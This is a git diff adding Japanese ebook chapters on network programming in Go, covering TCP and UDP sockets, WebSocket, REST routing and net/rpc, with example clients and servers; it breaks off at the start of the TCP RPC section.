+Go言語の`net`パッケージには`TCPConn`という型があります。この型はクライアントとサーバ間のやりとりの通り道として使用することができます。これには主に2つの関数が存在します: + + func (c *TCPConn) Write(b []byte) (n int, err os.Error) + func (c *TCPConn) Read(b []byte) (n int, err os.Error) + +`TCPConn`はクライアントとサーバがデータを読み書きするのに使うことができます。 + +また`TCPAddr`型も知っておく必要があります。これはTCPのアドレス情報を示しています。この定義は以下の通り: + + type TCPAddr struct { + IP IP + Port int + } +Go言語では`ResolveTCPAddr`を使ってひとつの`TCPAddr`を取得します。 + + func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) + +- net引数は"tcp4"、"tcp6"、"tcp"の中の任意の一つです。それぞれTCP(IPv4-only),TCP(IPv6-only)とTCP(IPv4,IPv6の任意の一つ)を表しています。 +- addrはドメインまたはIPアドレスを示しています。例えば"www.google.com:80"または"127.0.0.1:22"です。 + + +### TCP client +Go言語ではnetパッケージの`DialTCP`関数によってTCP接続を一つ確立し、`TCPConn`型のオブジェクトを一つ返します。接続が確立した時サーバも同じ型のオブジェクトを作成します。この時クライアントとサーバは各自が持っている`TCPConn`オブジェクトを使ってデータのやりとりを行います。一般的に、クライアントは`TCPCon`オブジェクトを使ってリクエスト情報をサーバに送信し、サーバのレスポンス情報を読み取ります。サーバはクライアントからのリクエストを読み取り、解析して、応答情報を返します。この接続はどちらかが接続を切断することによってのみ失効し、そうでなければこの接続はずっと使うことができます。接続を確立する関数の定義は以下のとおり: + + func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) + +- net引数は"tcp4"、"tcp6"、"tcp"の中の任意の一つです。それぞれTCP(IPv4-only),TCP(IPv6-only)とTCP(IPv4,IPv6の任意の一つ)を表しています。 +- laddrはローカルのアドレスを表しています。一般にはnilを設定します。 +- raddrはリモートのサーバアドレスを表しています。 + +ここでは簡単な例を一つ書いてみましょう。HTTPプロトコルに基づくクライアントによるWebサーバへのリクエストをエミュレートします。簡単なhttpリクエストヘッダを書く必要があります。形式は以下のようになります: + + "HEAD / HTTP/1.0\r\n\r\n" + +サーバから受け取るレスポンス情報の形式は以下のようになります: + + HTTP/1.0 200 OK + ETag: "-9985996" + Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT + Content-Length: 18074 + Connection: close + Date: Sat, 28 Aug 2010 00:43:48 GMT + Server: lighttpd/1.4.23 + +我々のクライアントのコードは以下のようになります: + + package main + + import ( + "fmt" + "io/ioutil" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +上のコードでわかることは:まずプログラムはユーザの入力を引数`service`として`net.ResolveTCPAddr`に私、tcpAddrを一つ取得します。その後tcpAddrをDialTCPに渡し、TCP接続`conn`を確立します。`conn`を通してリクエスト情報を送信し、最後に`ioutil.ReadAll`を通して`conn`からすべてのテキスト、つまりサーバのリクエストフィードバックの情報を取得します。 + +### TCP server +上でTCPのクライアントプログラムを書きました。また、netパッケージを使ってサーバのプログラムを作成することもできます。サーバではサービスを指定のアクティベートされていないポートに紐付け、このポートを監視する必要があります。クライアントのリクエストが到着した時にクライアントから接続したリクエストを受け取ることができます。netパッケージには対応する機能の関数があります。関数の定義は以下のとおりです: + + func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) + func (l *TCPListener) Accept() (c Conn, err os.Error) + +引数の説明はDialTCPの引数と同じです。以下では簡単な時間同期サービスを実装しています。7777ポートを監視します。 + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +上のサービスは動かすと、ずっとそこで新しいクライアントがリクエストを送ってくるのを待っています。新しいクライアントのリクエストが届き、受け付け`Accept`に同意すると、このリクエストの時現在の時刻情報をフィードバックします。注意すべきは、コードの中の`for`ループです。エラーが発生した際、直接continueし、ループは抜けません。なぜならサーバがコードを走らせて、エラーが発生するような状況ではサーバにエラーを記録させ、現在接続しているクライアントは直接エラーを発生させてログアウトします。そのため、現在のサーバが実行しているサービス全体には影響を与えません。 + +上のコードには欠点があります。実行される際はひとつのタスクです。同時に複数のリクエストを受け取ることができません。ではどのようにして並列処理をサポートできるよう改造するのでしょうか?Goではgoroutineメカニズムがあります。下の改造後のコードをご覧ください。 + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +タスク処理を関数`handleClinet`に分離することで、一歩進んで並列実行を実現できるようになります。見た目にはあまりかっこ良くありません。`go`キーワードを追加することでサーバの並列処理を実現しました。この例からgoroutineの強力さを見ることができます。 + +こう思う方もおられるかもしれません:このサーバはクライアントが実際にリクエストしたコンテンツを処理していない。もしもクライアントから異なるリクエストで異なる時刻形式を求められ、しかも長時間に渡る接続だった場合どうすればよいのか?と。その場合は以下をご覧ください: + + package main + + import ( + "fmt" + "net" + "os" + "time" + "strconv" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maxium request length to 128KB to prevent flood attack + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if string(request) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + + request = make([]byte, 128) // clear last read content + } + } + + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +上の例では`conn.Read()`を使用してクライアントが送信するリクエストを絶え間なく読み込んでいます。クライアントとの長時間接続を保持しなければならないため、一度のリクエストを読み終わった後も接続を切断することはできません。`conn.SetReadDeadline()`はタイムアウトを設定しているので、一定時間内にクライアントからリクエストが送られなければ、`conn`は自動的に接続を切断します。下のforループは接続が切断されることによって抜け出します。注意しなければならないのは、`request`は新規に作成される際にflood attackを防止するため最大の長さを指定しなければならないということです;毎回リクエストが読み込まれ処理が完了する度にrequestを整理しなければなりません。なぜなら`conn.Read()`は新しく読み込んだ内容を元の内容の後にappendしてしまうかもしれないからです。 + +### TCP接続のコントロール +TCPには多くの接続コントロール関数があります。我々が普段よく使うものは以下のいくつかの関数です: + + func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) + +接続のタイムアウトを設定すると、クライアントとサーバのどちらにも適用されます。設定された時間が過ぎると、接続は自動的に切断されます。 + + func (c *TCPConn) SetReadDeadline(t time.Time) error + func (c *TCPConn) SetWriteDeadline(t time.Time) error + +接続のタイムアウトへの書き込み/読み取りを設定するのに用いられます。接続は自動的に切断されます。 + + func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error + +クライアントがサーバと長時間接続を保つかどうか設定することで、TCP接続時のハンドシェイクのオーバーヘッドを減らすことができます。頻繁にデータをやりとりする必要のあるアプリケーションに適しています。 + +より詳しい内容については`net`パッケージのドキュメントをご参照ください。 +## UDP Socket +Go言語におけるUDP SocketとTCP Socketの処理の違いはサーバで処理される複数のクライアントのリクエストデータパケットの方法です。UDPはクライアントの接続リクエストに対するAccept関数が欠けています。その他基本的にはほとんど同じです。TCPをただUDPに置き換えただけです。UDPの主ないくつかの関数は以下の通り: + + func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) + func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) + func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) + func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error + func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) + +UDPのクライアントコードは以下に示しています。違いはTCPをUDPに置き換えただけだとわかります。 + + package main + + import ( + "fmt" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +UDPサーバがどのように処理するか見てみましょう; + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } + } + func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +## 概要 +TCPとUDP Socketプログラミングの描写と実装を通して、GoはすでにSocketプログラミングを完全にサポートしていることがお分かりいただけたかと思います。使用に際してもとても便利です。Goはたくさんの関数を提供しています。これらの関数を使って簡単に高性能なSocketアプリケーションを書くことができます。 + + +## links + * [目次]() + * 前へ: [Webサービス](<08.0.md>) + * 次へ: [WebSocket](<08.2.md>) diff --git a/ja/ebook/08.2.md b/ja/ebook/08.2.md new file mode 100644 index 00000000..bd1989d6 --- /dev/null +++ b/ja/ebook/08.2.md @@ -0,0 +1,151 @@ +# 8.2 WebSocket +WebSocketはHTML5の重要な特徴です。これはブラウザに基づいたリモートsocketを実現します。ブラウザとサーバが全二重通信することができ、多くのブラウザ(Firefox、Google ChromeとSafari)ではすでにサポートされています。 + +WebSocketが現れる前はリアルタイム通信を実現するために、"ポーリング"とよばれる技術が全面的に採用されていました。すなわち、特定の時間間隔においてブラウザがサーバに対しHTTP Requestを送信し、サーバはリクエストを受け取った後、最新のデータをブラウザに返してリロードします。"ポーリング"ではブラウザがサーバに対して絶え間なくリクエストを送っており、大量の帯域幅を占有します。 + +WebSocketは特殊なパケットヘッダを採用しています。ブラウザとサーバはハンドシェイクの動作のみを必要とするだけで、ブラウザとサーバ間で接続チャンネルを確立することができます。またこの接続では活動状態が保持され、JavaScriptを使用することでコネクションに書き込むことも、中からデータを取り出すこともできます。通常のTCP Scoketを使用するのと同じようなものです。これはWebのリアルタイム化の問題を解決しています。伝統的なHTTPに比べ下のようなメリットがあります: + +- WebクライアントはTCP接続を確立するだけです +- Websocketサーバーはデータをwebクライアントにプッシュ(push)できます +- 軽いヘッダによりデータの転送量を抑えます。 + +WebSocket URLのはじめの入力はws://またはwss://(SSL上で)です。下の図はWebSocketの通信課程を示しています。特定のヘッダを伴ったHTTPハンドシェイクがサーバに送信され、サーバまたはクライアントはJavaScriptを使って何らかのソケット(socket)を使用します。このインターフェースはイベントを通して非同期にデータを受け取ることができます。 + +![](images/8.2.websocket.png?raw=true) + +図8.2 WebSocketの原理図 + +## WebSocketの原理 +WebSocketのプロトコルは実に簡単です。はじめのhandshakeが通った後、接続の確立に成功します。この後のデータの通信はすべて"\x00"から始まり、"\xFF"で終わります。クライアントではこれは透明です。WebSocketモジュールは自動的にオリジナルのデータから大事なところを残してあとは取り除いてくれます。 + +ブラウザがWebSocketの接続リクエストを送信すると、サーバはレスポンスを送信します。その後接続の確立に成功します。この過程を通常"ハンドシェイク"(handshaking)と呼びます。下のリクエストとフィードバック情報をご覧ください: + +![](images/8.2.websocket2.png?raw=true) + +図8.3 WebSocketのrequestとresponse情報 + +リクエストの"Sec-WebSocket-Key"はランダムです。日々エンコーディングとやりあっているプログラマにはひと目で分かります:これはbase64エンコードが施されたデータで、サーバはこのリクエストを受け取った後この文字列を固定の文字列に連結させる必要があります: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +すなわち、`f7cb4ezEAl6C3wRaU6JORA==`を上の固定の文字列に連結し、このような文字列を生成します: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +この文字列に対しまずsha1セキュリティハッシュアルゴリズムを使って2進数の値を計算します。その後base64を使ってこれをエンコードし、ハンドシェイク後の文字列を得ることができます: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +これをレスポンスヘッダ`Sec-WebSocket-Accept`の値としてクライアントに返します。 + +## GoによるWebSocketの実装 +Go言語の標準パッケージにはWebSocketに対するサポートはありません。しかしオフィシャルでメンテナンスされているgo.netサブパッケージにはこれに対するサポートがあります。以下のようなコマンドによってこのパッケージを取得することができます: + + go get code.google.com/p/go.net/websocket + +WebSocketはクライアントとサーバに分けられます。ここでは簡単な例を実現します:ユーザが情報を入力し、クライアントはWebSocketを通じて情報をサーバに送信します。サーバが情報を受け取った後主動的に情報をクライアントにPushします。クライアントは受け取った情報を出力します。クライアントのコードは以下のとおり: + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + + + +クライアントのJSを見ると、WebSocket関数を使って簡単にサーバと接続するsockを作成することができると分かります。ハンドシェイクが成功した後、WebScoketオブジェクトのonopenイベントが呼ばれ、クライアントの接続の確立が成功したことを伝えます。クライアントでは4つのイベントを結びつけています。 + +- 1)onopen 接続を確立すると呼ばれます +- 2)onmessage 情報を受取ると呼ばれます +- 3)onerror エラーが発生した時に呼ばれます +- 4)onclose 接続を閉じた際に呼ばれます + +我々のサーバの実装は以下の通り: + + package main + + import ( + "code.google.com/p/go.net/websocket" + "fmt" + "log" + "net/http" + ) + + func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } + } + + func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } + } + +クライアントがユーザの入力した情報をSendした後、サーバはReceiveを通して対応する情報を受け取ります。その後Sendを通して応答情報を送信します。 + +![](images/8.2.websocket3.png?raw=true) + +図8.4 WebSocketサーバが受け取った情報 + +上の例でクライアントとサーバでWebSocketを実装するのが非常に簡単だとわかりました。Goのソースコードのnetブランチではすでにこのプロトコルが実装されており、直接持ってきて使用することができます。現在HTML5の発展にしたがって将来WebSocketがWeb開発の充填になると考えています。我々はこの方面の知識を蓄える必要があります。 + + +## links + * [目次]() + * 前へ: [Socketプログラミング](<08.1.md>) + * 次へ: [REST](<08.3.md>) diff --git a/ja/ebook/08.3.md b/ja/ebook/08.3.md new file mode 100644 index 00000000..abef201b --- /dev/null +++ b/ja/ebook/08.3.md @@ -0,0 +1,115 @@ +# 8.3 REST +RESTful、とは現在もっとも流行しているインターネットソフトウェアフレームワークです。構造が明瞭で、標準に合っており、理解しやすく、拡張に便利です。そのため、まさに多くのホームページで採用されつつあります。この節ではこれが一体どのようなフレームワークなのか、Goではどのようにして実現するのかを学んでいきます。 +## RESTとは何か +REST(Representational State Transfer)という概念は2000年Roy Thomas Fielding(彼はHTTPルールの主な編集者の一人です。)の博士論文の中で現れました。この中ではあるフレームワークの制約条件と原則について触れています。これらの制約条件と原則を満足したアプリケーションまたは設計はRESTfulということです。 + +RESTが何かを理解するためには、以下のようないくつかの概念を理解する必要があります: + +- リソース(Resources) + RESTは"プレゼンテーション層の状態遷移"です。これは主語が省略されています。"プレゼンテーション層"というのは"リソース"の"プレゼンテーション層"です。 + + ではリソースとは何でしょうか?普段我々がアクセスする画像、ドキュメント、映像等です。これらのリソースはURIによって特定されます。つまりひとつのURIがひとつのリソースを表しています。 + +- プレゼンテーション層(Representation) + + リソースはある具体的な実体を伴う情報を作成します。これはいくつもの表現方法を持っており、実体の表現こそがプレゼンテーション層です。例えばtxtテキスト情報があれば、これはhtml、json、xml等の形式に出力することができます。画像はjpg、png等の方法で表現することができます。これがプレゼンテーション層の意味です。 + + URIはひとつのリソースを確定します。しかしどのようにこの具体的な表現形式を確定するのでしょうか?HTTPリクエストのヘッダ情報においてAcceptとContent-Typeフィールドを用いて指定されているはずです。この2つのフィールドこそが"プレゼンテーション層"に対する描写なのです。 + +- 状態遷移(State Transfer) + + あるホームページにアクセスすることは、クライアントがサーバとインタラクティブな過程を表しています。この過程の中では必ずデータと状態遷移が関わってきます。HTTPプロトコルはステートレスですので、これらの状態はサーバに保存されているはずです。そのため、もしクライアントがサーバにデータの変更と状態遷移を通知したい場合は、なんらかの方法によってこれを通知する必要があります。 + + クライアントがサーバに通知する手段はHTTPプロトコルしかありません。具体的にはHTTPプロトコルの中にある4つの操作方法を表す動詞:GET、POST、PUT、DELETEです。これらは4つの基本操作に分かれます:GETはリソースを取得するのに使われます。POSTはリソースを新規に作成するために使われます(リソースの更新に使うこともできます)。PUTは資源の更新に使われます。DELETEは資源の削除に使われます。 + +上の解釈を総合して、RESTfulフレームワークとは何かまとめてみます: + +- (1)各URIがひとつのリソースを表す +- (2)クライアントとサーバ間で、これらの資源の何かしらのプレゼンテーション層を転送する +- (3)クライアントは4つのHTTPの動詞を通して、サーバの資源に対し操作を行う。"プレゼンテーション層の状態遷移"の実現。 + + +Webアプリケーションが満たすべきRESTの最も重要なルールは:クライアントとサーバ間のやりとりにおいてリクエスト間はステートレスだということです。すなわち、クライアントからサーバへの各リクエストはすべてリクエストが必要としている情報を含んでいなければなりません。もしサーバがリクエスト間のいかなる時点で再起動しても、クライアントはその通知を受けることができません。また、このリクエストはどのような利用できるサーバからによっても回答できます。これはクラウドコンピューティングといった環境に十分適しています。ステートレスですので、クライアントはデータをキャッシュすることで性能を改善することができます。 + +もうひとつ重要なRESTのルールはシステムの分離です。これはモジュールがこれと直接やりとりをしているレイヤのモジュールを除いて解除することができないことを示しています。システムの知りうる内容を単一のレイヤに制限することで、システム全体の複雑さを制限することができます。そのため、低レイヤの独立性を促すことができます。 + +下の図はRESTのフレームワーク図です: + +![](images/8.3.rest2.png?raw=true) + +図8.5 RESTフレームワーク図 + +RESTフレームワークの制約条件を全体に適用する際、大量のクライアントに向けて拡張できるアプリケーションプログラムを生成することができます。またクライアントとサーバ間のやり取りの遅延も減らします。統一されたインターフェースがシステムフレームワークの全体を簡略化し、サブシステム間のやり取りの見通しを改善します。RESTはクライアントとサーバの実装を簡略化し、RESTを使用して開発されたアプリケーションプログラムをより拡張しやすくします。 + +下はRESTの拡張性を示しています: + +![](images/8.3.rest.png?raw=true) + +図8.6 RESTの拡張性 + +## RESTfulの実装 +GoにはRESTに対する直接のサポートはありません。しかし、RESTfulはHTTPプロトコルに基づいて実装されたものですので、`net/http`パッケージを利用することで自分で実装することができます。当然RESTに対していくつか改造を行う必要があります。RESTは異なるmethodによって対応するリソースを処理します。現在すでに存在する多くの自称RESTアプリケーションは、実は本当にRESTを実装しているわけではありません。ここではとりあえずこれらのアプリケーションを実装しているメソッドにしたがっていくつかのレベルに分けてみます、以下の図をご覧ください: + +![](images/8.3.rest3.png?raw=true) + +図8.7 RESTのレベル分け + +上の図は我々が現在実装しているRESTの3つのlevelを示しています。我々がアプリケーションを開発する時も必ずしも全てのRESTfulのルールをまるっとその方式を実装しているわけではありません。なぜならある時はRESTfulの方式を完全に参照しなくても大丈夫だからです。RESTfulサービスは`DELETE`と`PUT`を含む各HTTPの方法を十分に利用します。しかしある時は、HTTPクライアントは`GET`と`POST`リクエストのみを送信できます: + +- HTML標準はリンクとフォームを通してのみ`GET`と`POST`をサポートしています。Ajaxをサポートしていないウェブブラウザでは`PUT`や`DELETE`コマンドを送信することはできません。 + +- あるファイアウォールはHTTPの`PUT`と`DELETE`リクエスト遮ることがあり、この制限を迂回するにはクライアントの実際の`PUT`と`DELETE`リクエストをPOSTリクエストから通していかなくてはなりません。そのためRESTfulサービスは受け取ったPOSTリクエストからオリジナルのHTTPメソッドを探し出す方法と元に戻す方法を行う責任があります。 + +現在`POST`の中において隠されたフィールドである`_method`を増加するなどの方法で`PUT`、`DELETE`といったメソッドをエミュレートすることができます。しかし、サーバでは変換を行う必要があります。現在私のプロジェクトではこのような方法によってRESTインターフェースを作成しています。当然Go言語では完全にRESTfulに沿った実装を行うのは容易です。下の例を通してどのようにRESTfulなアプリケーションの設計を実現するかご説明しましょう。 + + package main + + import ( + "fmt" + "github.com/drone/routes" + "net/http" + ) + + func getuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are get user %s", uid) + } + + func modifyuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are modify user %s", uid) + } + + func deleteuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are delete user %s", uid) + } + + func adduser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprint(w, "you are add user %s", uid) + } + + func main() { + mux := routes.New() + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + mux.Del("/user/:uid", deleteuser) + mux.Put("/user/", adduser) + http.Handle("/", mux) + http.ListenAndServe(":8088", nil) + } + +上のコードではどのようにRESTなアプリケーションを書くかご覧いただきました。我々がアクセスするリソースはユーザです。異なるmethodによって異なる関数にアクセスしました。ここではサードパーティライブラリ`github.com/drone/routes`を使用しています。前の章でどのように自分で定義したルータを実現するかご紹介しました。このライブラリは自分で定義したルートと便利なルートのルールを反映させます。これを使って簡単にRESTのフレームワークを実装することができます。 + +## 概要 +RESTはフレームワークスタイルの一種です。WWWの成功経験を汲み取っています:ステートレス、リソースを中心とし、HTTPプロトコルとURIプロトコルを十分利用しています。統一したインターフェース定義を提供し、Webサービスを設計する方法の一つとして流行しました。ある意味で、URIとHTTPといった黎明期のInternet標準を強調することで、RESTは大型のアプリケーションプログラムサーバ時代の前のWeb方式に回帰しています。現在GoはRESTに対するサポートはやはり簡単です。自分dね定義したルーティングを通して、異なるmethodに異なるhandleを実装することができます。このようにRESTのフレームワークは実現されています。 + +## links + * [目次]() + * 前へ: [WebSocket](<08.2.md>) + * 次へ: [RPC](<08.4.md>) diff --git a/ja/ebook/08.4.md b/ja/ebook/08.4.md new file mode 100644 index 00000000..dec2dbd1 --- /dev/null +++ b/ja/ebook/08.4.md @@ -0,0 +1,392 @@ +# 8.4 RPC +前の節でどのようにSocketとHTTPに基づいてネットワークアプリケーションを書くかご紹介しました。SocketとHTTPが採用しているのは"情報交換"パターン、すなわちクライアントがサーバに情報を一つ送信し、その後(一般的に)サーバが一定の情報を返すことでレスポンスとする、ようなものであると理解しました。双方は互いが発生させた情報を解析できるように、クライントとサーバ間が情報をやり取りする形式が締結されます。しかし独立した多くのアプリケーションは特にこのようなパターンを採用はしません。その代わり通常の関数をコールするのに似た方法で必要となる機能を完成させます。 + +RPCは関数をコールするモデルをネットワーク化したものです。クライアントはローカルの関数をコールするのと同じように、引数をひっくるめてネットワークを通じてサーバに送信します。サーバでは処理の中でそれを展開し実行します。そして、実行結果をクライアントにフィードバックします。 + +RPC(Remote Procedure Call Protocol) 、このリモートプロセスのコールプロトコルは、ネットワークを通してリモートコンピュータのプログラムにおいてリクエストするサービスです。低レイヤのネットワーク技術におけるプロトコルを理解する必要はありません。これは何らかの転送プロトコルの存在を家庭します。例えばTCPまたはUDPです。通信を行うプログラム間で情報データを簡単にやりとりすることができます。これを使って関数をコールするモデルをネットワーク化することができます。OSIネットワーク通信モデルで、RPCはデータリンク層とアプリケーション層を飛び越えます。RPCはネットワーク分散型の複数プログラムを含めてアプリケーションプログラムの開発を用意にします。 + +## RPCの動作原理 + +![](images/8.4.rpc.png?raw=true) + +図8.8 RPCの動作プロセス図 + +実行時、クライアントマシンがサーバのRPCに対してコールを行うと、そこにはだいたい以下のような10ステップの操作があります: + +- 1.クライアントハンドルをコールする。転送引数を実行する。 +- 2.ローカルシステムのカーネルがネットワーク情報を送信する。 +- 3.情報がリモートホストに送信される。 +- 4.サーバハンドル情報を受け取り、引数を取り出す。 +- 5.リモートプロセスを実行する。 +- 6.実行されたプロセスは結果をサーバハンドルに返す。 +- 7.サーバハンドルは結果を返し、リモートシステムのカーネルをコールする。 +- 8.情報がローカルホストに送信される。 +- 9.クライアントハンドルがカーネルから情報を取得する。 +- 10.クライアントはハンドルが返すデータを受け取る。 + +## Go RPC +Go標準パッケージではすでにRPCをに対するサポートがされています。また、3つのレベルとなるRPC、HTTP、JSONRPCをサポートしています。しかしGoのRPCパッケージは唯一無二のRPCであり、伝統的なRPCシステムとは異なります。これはGoが開発したサーバとクライアント間のやりとりのみをサポートします。なぜなら内部ではGoを採用してエンコードされているからです。 + +Go RPCの関数は以下の条件に合致した時のみリモートアクセスされます。そうでないものは無視されます。細かい条件は以下の通り: + +- 関数はエクスポートされていなければなりません。(頭文字が大文字) +- 2つのエクスポートされた型の引数が必要です。 +- はじめの引数は受け取る引数、2つ目の引数はクライアントに返す引数です。2つ目の引数はポインタ型でなければなりません。 +- 関数はさらに戻り値errorを持っています。 + +例を挙げましょう。正しいRPC関数では以下のような形式になります: + + func (t *T) MethodName(argType T1, replyType *T2) error + +T、T1とT2型はかならず`encoding/gob`パッケージによってエンコード/デコードできなければなりません。 + +いかなるRPCもネットワークを通じてデータを転送します。Go RPCはHTTPとTCPによってデータを転送することができます。HTTPを利用するメリットは直接`net/http`の中のいくつかの関数を再利用することができるということです。詳細な例は以下をご覧ください。 + +### HTTP RPC +httpのサーバコードは以下の通り: + + package main + + import ( + "errors" + "fmt" + "net/http" + "net/rpc" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } + } + +上の例を見ると、ArithのRPCサーバを登録しており、`rpc.HandleHTTP`関数を使ってこのサービスをHTTPプロトコルに登録し、httpのメソッドを使ってデータを転送することができるとわかります。 + +下のクライアントのコードをご覧ください: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +我々は上のサーバとクライアントのコードを別々にコンパイルして、先にサーバ側を起動し、その後クライアントを起動して、コードを入力し、以下のような情報が出力されました: + + $ ./http_c localhost + Arith: 17*8=136 + Arith: 17/8=2 remainder 1 + +上のコールにおいて引数と戻り値は我々が定義したstruct型であると確認できます。サーバではこれらをコールする関数の引数の型とみなしています。クライアントでは`client.Call`の第二、第三のふたつの引数の型となります。クライアントで最も重要なのはこのCall関数です。これは3つの引数を持っています。はじめの引数はコールする関数の名前、2つ目は転送する引数、3つ目は戻り値の参照(これはポインタ型です)となります。上のコードを通して、GoでRPCを実装するのは非常に簡単で便利であるとお分かりいただけたかと思います。 +### TCP RPC +上ではHTTPプロトコルに基づくRPCを実現しました。以降ではTCPプロトコルに基づいたRPCを実現します。サーバで実装されるコードは以下の通り: + + package main + + 